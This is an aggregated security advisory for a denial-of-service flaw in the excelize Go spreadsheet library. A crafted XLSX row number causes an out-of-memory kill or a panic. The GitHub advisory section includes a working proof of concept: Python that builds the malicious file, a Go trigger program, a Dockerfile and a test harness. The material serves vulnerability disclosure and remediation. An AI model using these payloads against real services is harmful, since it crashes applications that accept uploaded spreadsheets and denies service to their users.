Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)

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Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. Prior to 2.11.0, the checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required. This issue is fixed in version 2.11.0.

Source published

10 Jul 2026 15:53:31 UTC

Source modified

10 Jul 2026 18:39:48 UTC

Observed here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. Prior to 2.11.0, the checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required. This issue is fixed in version 2.11.0.

Source published

Jul 10, 2026, 3:53:31 PM (timezone not stated)

Source modified

Jul 10, 2026, 6:39:48 PM (timezone not stated)

Observed here

7 Nov 2026 12:28:14 UTC

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ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. Prior to 2.11.0, the checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required. This issue is fixed in version 2.11.0.

Source published

10 Jul 2026 17:16:58 UTC

Source modified

25 Oct 2026 15:10:00 UTC

Observed here

27 Oct 2026 14:13:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

## Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS) ### Summary The `checkSheet()` function in `github.com/xuri/excelize/v2` uses an attacker-controlled `<row r="N">` XML attribute value directly as the length argument to `make([]xlsxRow, row)` without validating it against the Excel row limit (`TotalRows = 1,048,576`). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when `r=2147483647` forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when `r=-1`. Any service that opens attacker-supplied XLSX files and calls `GetCellValue` is affected. No authentication is required. ### Details The vulnerable code path is triggered by calling `GetCellValue` (or any API that internally invokes `workSheetReader`) on an XLSX file containing a crafted worksheet row element. **Data flow (source → sink):** 1. `excelize.go:186-193` — `OpenReader` reads attacker-controlled spreadsheet bytes. 2. `excelize.go:216-223` — ZIP reader is created and passed to `ReadZipReader`. 3. `lib.go:43-77` — ZIP entries are read into `fileList`; worksheet XML is stored by part name. 4. `excelize.go:228-229` — XML bytes are stored in `f.Pkg`. 5. `cell.go:71-79` — Public `GetCellValue` enters the worksheet value-read path. 6. `cell.go:1492-1494` — `getCellStringFunc` calls `workSheetReader`. 7. `excelize.go:313-324` — Worksheet XML is decoded into `xlsxWorksheet`. 8. `xmlWorksheet.go:302-312` — `<row r="...">` is deserialized into `xlsxRow.R int` with no validation (source). 9. `excelize.go:357-377` — `checkSheet()` accumulates the maximum `r` value; **sink**: `make([]xlsxRow, row)` allocates a slice of that size before any bounds check. **Vulnerable code (`excelize.go:373-377`):** ```go if r.R != 0 && r.R > row { row = r.R } sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation ``` The constant `TotalRows = 1048576` is defined in `templates.go:190` but is never applied before the `make()` call in `checkSheet()`, leaving the allocation fully attacker-controlled. **Variant A (`r = 2147483647`):** `make([]xlsxRow, 2147483647)` attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with `fatal error: runtime: out of memory`. **Variant B (`r = -1`):** The first loop in `checkSheet()` leaves `row = 0` because the condition `r.R != 0` is false for `r.R = -1`. The second loop then executes `sheetData.Row[r.R-1]`, which evaluates to `sheetData.Row[-2]`, triggering `runtime error: index out of range [-2]` at `excelize.go:381`. Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is: ``` panic: runtime error: index out of range [-2] goroutine 1 [running]: github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...) /excelize/excelize.go:381 github.com/xuri/excelize/v2.(*File).workSheetReader(...) /excelize/excelize.go:329 github.com/xuri/excelize/v2.(*File).getCellStringFunc(...) /excelize/cell.go:1494 github.com/xuri/excelize/v2.(*File).GetCellValue(...) /excelize/cell.go:72 main.main.func1(...) /excelize/cmd/poc/main.go:44 main.main() /excelize/cmd/poc/main.go:52 ``` **Recommended remediation (`excelize.go`):** ```diff -func (ws *xlsxWorksheet) checkSheet() { +func (ws *xlsxWorksheet) checkSheet() error { ... for i := 0; i < len(ws.SheetData.Row); i++ { r := ws.SheetData.Row[i] + if r.R < 0 { + return newInvalidRowNumberError(r.R) + } + if r.R > TotalRows { + return ErrMaxRows + } ... ws.SheetData = *sheetData + return nil } ``` ### PoC **Step 1: Generate the malicious XLSX** ```python import zipfile # Variant A: OOM → row = "2147483647" # Variant B: Panic → row = "-1" row = "-1" with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''') z.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''') z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''') z.writestr("xl/_rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''') z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData> </worksheet>''') ``` **Step 2: Trigger the vulnerability** ```go package main import "github.com/xuri/excelize/v2" func main() { f, err := excelize.OpenFile("malicious.xlsx") if err != nil { panic(err) } defer f.Close() _, err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make() if err != nil { panic(err) } } ``` **Expected results:** - Variant A (`r="2147483647"`): process is killed by the OOM killer (`fatal error: runtime: out of memory` or exit code 137). - Variant B (`r="-1"`): process panics with `runtime error: index out of range [-2]` at `excelize.go:381` (exit code 2). Both variants were confirmed in a Docker container with `--memory 256m --memory-swap 256m`. The malicious XLSX payload is a few hundred bytes. ### Impact This is a **Denial-of-Service** vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses `github.com/xuri/excelize/v2` to open attacker-supplied XLSX files and subsequently calls any cell-reading API (`GetCellValue`, `GetRows`, `GetCols`, or any function that internally triggers `workSheetReader`). **Who is impacted:** - Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools). - CLI tools or batch jobs that parse user-supplied spreadsheet files. - Any application using the library to handle untrusted XLSX documents. The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() # CWE-770 — Allocation of Resources Without Limits or Throttling # Target: github.com/xuri/excelize/v2 @ commit f4a068b # # Exploit path: # GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet() # In checkSheet() (excelize.go:341-393), the attacker-controlled <row r="N"> # attribute is used directly as make([]xlsxRow, row) size with no bounds check. # # Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory # Variant B (r=-1): Panic — second loop does sheetData.Row[-2] (index OOB) FROM golang:latest AS builder # Copy the vulnerable excelize library source (serves as the Go module) COPY repo/ /excelize/ # Copy the exploit main package written by poc.py COPY vuln-001/exploit_main.go /excelize/cmd/poc/main.go WORKDIR /excelize # Build the exploit binary. # -mod=mod: allow Go to update go.sum for any transitive deps. # CGO_ENABLED=0: produce a statically-linked binary for the runtime stage. RUN CGO_ENABLED=0 GOFLAGS="-mod=mod" go build -o /poc ./cmd/poc/ # Minimal runtime stage (golang image provides a libc for cgo-free binary too) FROM golang:latest COPY --from=builder /poc /poc ENTRYPOINT ["/poc"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() CWE-770 — Allocation of Resources Without Limits or Throttling Repository: qax-os/excelize Commit: f4a068b Exploit mechanism: xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and uses the attacker-controlled <row r="N"> attribute directly as the length argument to make([]xlsxRow, row) without any bounds validation against TotalRows (1,048,576). Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error Variant B (r=-1): first loop leaves row=0; second loop executes sheetData.Row[-1-1] → runtime panic: index out of range This script: 1. Writes exploit_main.go (the Go PoC binary source). 2. Creates two malicious XLSX files (one per variant). 3. Builds the Docker image. 4. Runs each variant and captures evidence. 5. Writes phase2_result.json with verdict. """ import json import os import subprocess import sys import textwrap import zipfile # --------------------------------------------------------------------------- # Paths # --------------------------------------------------------------------------- BASE_DIR = os.path.dirname(os.path.abspath(__file__)) PARENT_DIR = os.path.dirname(BASE_DIR) # Docker build context RESULT_FILE = os.path.join(BASE_DIR, "phase2_result.json") DOCKERFILE = os.path.join(BASE_DIR, "Dockerfile") IMAGE_NAME = "excelize-poc-vuln001" EXPLOIT_SRC = os.path.join(BASE_DIR, "exploit_main.go") PANIC_XLSX = os.path.join(BASE_DIR, "row_negative.xlsx") OOM_XLSX = os.path.join(BASE_DIR, "row_maxint.xlsx") # --------------------------------------------------------------------------- # Step 1 — Write the Go exploit source # --------------------------------------------------------------------------- EXPLOIT_GO = textwrap.dedent("""\ // exploit_main.go — PoC for VULN-001 // Triggers excelize checkSheet() unbounded allocation via malicious XLSX. package main import ( \t"fmt" \t"os" \t"runtime/debug" \texcelize "github.com/xuri/excelize/v2" ) func main() { \tif len(os.Args) < 2 { \t\tfmt.Fprintln(os.Stderr, "Usage: poc <xlsx_file>") \t\tos.Exit(1) \t} \tpath := os.Args[1] \tfmt.Printf("[*] Opening: %s\\n", path) \t// Wrap the call so we can print a structured panic message before exiting. \t// The panic itself is the evidence of exploitability. \tfunc() { \t\tdefer func() { \t\t\tif r := recover(); r != nil { \t\t\t\tfmt.Println("[VULN] PANIC CAUGHT — vulnerability confirmed") \t\t\t\tfmt.Printf("[VULN] panic value: %v\\n", r) \t\t\t\tfmt.Println("[VULN] Stack trace:") \t\t\t\tdebug.PrintStack() \t\t\t\tos.Exit(2) // exit 2 = exploitable crash (panic) \t\t\t} \t\t}() \t\tf, err := excelize.OpenFile(path) \t\tif err != nil { \t\t\tfmt.Printf("[!] OpenFile error: %v\\n", err) \t\t\tos.Exit(1) \t\t} \t\tdefer f.Close() \t\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet() \t\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled. \t\tfmt.Println("[*] Calling GetCellValue — entering checkSheet() sink") \t\tval, err := f.GetCellValue("Sheet1", "A1") \t\tif err != nil { \t\t\t// Some errors surface instead of panicking (e.g. allocation failures \t\t\t// that Go converts to errors in some configurations). \t\t\tfmt.Printf("[!] GetCellValue error: %v\\n", err) \t\t\tos.Exit(3) // exit 3 = error path (still abnormal) \t\t} \t\tfmt.Printf("[*] GetCellValue returned normally, value=%q (no crash)\\n", val) \t}() } """) def write_exploit_source() -> None: with open(EXPLOIT_SRC, "w") as fh: fh.write(EXPLOIT_GO) print(f"[+] Wrote exploit source: {EXPLOIT_SRC}") # --------------------------------------------------------------------------- # Step 2 — Build malicious XLSX files # --------------------------------------------------------------------------- CONTENT_TYPES = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' '<Default Extension="xml" ContentType="application/xml"/>' '<Override PartName="/xl/workbook.xml"' ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' '<Override PartName="/xl/worksheets/sheet1.xml"' ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>' '</Types>' ) RELS = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1"' ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"' ' Target="xl/workbook.xml"/>' '</Relationships>' ) WORKBOOK = ( '<?xml version="1.0" encoding="UTF-8"?>' '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"' ' xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' '<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>' '</workbook>' ) WORKBOOK_RELS = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1"' ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"' ' Target="worksheets/sheet1.xml"/>' '</Relationships>' ) def sheet_xml(row_r: str) -> str: return ( '<?xml version="1.0" encoding="UTF-8"?>' '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' f'<sheetData><row r="{row_r}"><c r="A1"><v>1</v></c></row></sheetData>' '</worksheet>' ) def build_xlsx(path: str, row_r: str) -> None: with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("[Content_Types].xml", CONTENT_TYPES) z.writestr("_rels/.rels", RELS) z.writestr("xl/workbook.xml", WORKBOOK) z.writestr("xl/_rels/workbook.xml.rels", WORKBOOK_RELS) z.writestr("xl/worksheets/sheet1.xml", sheet_xml(row_r)) print(f"[+] Created {os.path.basename(path)} (row r={row_r!r})") # --------------------------------------------------------------------------- # Step 3 — Docker helpers # --------------------------------------------------------------------------- def run_cmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess: print(f"[>] {' '.join(str(x) for x in cmd)}") return subprocess.run( cmd, capture_output=True, text=True, timeout=timeout, ) def docker_build() -> tuple[bool, str]: result = run_cmd( [ "docker", "build", "--no-cache", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR, ], timeout=600, ) combined = result.stdout + result.stderr if result.returncode != 0: print(f"[-] docker build FAILED (rc={result.returncode})") print(combined[-4000:]) return False, combined print("[+] Docker image built successfully") return True, combined def docker_run_variant(label: str, xlsx_path: str, mem: str = "256m", timeout: int = 90) -> dict: """Run the exploit container against one XLSX file and return analysis dict.""" cmd = [ "docker", "run", "--rm", "--memory", mem, "--memory-swap", mem, "-v", f"{xlsx_path}:/input.xlsx:ro", IMAGE_NAME, "/input.xlsx", ] run_cmd_str = " ".join(cmd) try: result = run_cmd(cmd, timeout=timeout) rc = result.returncode stdout = result.stdout or "" stderr = result.stderr or "" except subprocess.TimeoutExpired: rc = -99 stdout = "" stderr = f"TIMEOUT after {timeout}s" combined = stdout + stderr print(f"\n--- {label} ---") print(f" exit code : {rc}") print(f" stdout : {stdout[:1200]}") print(f" stderr : {stderr[:1200]}") is_panic = any(kw in combined for kw in ( "index out of range", "PANIC CAUGHT", "runtime error", "goroutine ", "panic:", )) is_oom = any(kw in combined for kw in ( "out of memory", "cannot allocate", "fatal error", "makeslice", )) or rc == 137 # exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path crashed = rc != 0 and (is_panic or is_oom or rc in (2, 3, 137)) return { "label": label, "rc": rc, "is_panic": is_panic, "is_oom": is_oom, "crashed": crashed, "run_cmd": run_cmd_str, "snippet": combined[:1500].strip(), } # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main() -> None: print("=" * 65) print("VULN-001 PoC — excelize checkSheet() unbounded allocation DoS") print("=" * 65) # 1. Write Go exploit source (needed before docker build) write_exploit_source() # 2. Create malicious XLSX payloads build_xlsx(PANIC_XLSX, "-1") # Variant B: index OOB panic build_xlsx(OOM_XLSX, "2147483647") # Variant A: 2 GB+ make() → OOM # 3. Build Docker image build_cmd = ( f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}" ) build_ok, build_out = docker_build() if not build_ok: payload = { "passed": False, "verdict": "FAIL", "reason": ( "Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 " "'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 " "'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다." ), "build_command": build_cmd, "run_command": "", "poc_command": f"python3 {os.path.abspath(__file__)}", "evidence": build_out[-2000:], "artifacts": ["Dockerfile", "poc.py"], } with open(RESULT_FILE, "w") as fh: json.dump(payload, fh, indent=2, ensure_ascii=False) print(f"\n[!] FAIL result → {RESULT_FILE}") sys.exit(1) # 4. Run both variants ev_panic = docker_run_variant( "Variant B — r=-1 (index out of range panic)", PANIC_XLSX, mem="256m") ev_oom = docker_run_variant( "Variant A — r=2147483647 (OOM)", OOM_XLSX, mem="256m") # 5. Verdict passed = ev_panic["crashed"] or ev_oom["crashed"] if ev_panic["crashed"]: primary, primary_ev = "B (r=-1, panic)", ev_panic elif ev_oom["crashed"]: primary, primary_ev = "A (r=2147483647, OOM)", ev_oom else: primary, primary_ev = "B (r=-1, panic)", ev_panic # best-effort if passed: reason = ( f"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). " f"Variant B(r=-1): rc={ev_panic['rc']}, panic={ev_panic['is_panic']}; " f"Variant A(r=2147483647): rc={ev_oom['rc']}, oom={ev_oom['is_oom']}. " "excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 " "컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명." ) verdict = "PASS" else: reason = ( "컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. " f"Variant B rc={ev_panic['rc']}, Variant A rc={ev_oom['rc']}. " "가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, " "(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. " "다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행." ) verdict = "FAIL" phase2 = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": build_cmd, "run_command": primary_ev["run_cmd"], "poc_command": f"python3 {os.path.abspath(__file__)}", "evidence": primary_ev["snippet"], "artifacts": ["Dockerfile", "poc.py"], } with open(RESULT_FILE, "w") as fh: json.dump(phase2, fh, indent=2, ensure_ascii=False) print(f"\n{'='*65}") print(f"Verdict : {verdict} (passed={passed})") print(f"Result → {RESULT_FILE}") print("=" * 65) if __name__ == "__main__": main() ```

Source published

10 Jul 2026 19:25:20 UTC

Source modified

27 Jul 2026 17:11:14 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS) in github.com/xuri/excelize

Source published

27 Jul 2026 15:30:50 UTC

Source modified

27 Jul 2026 17:00:23 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.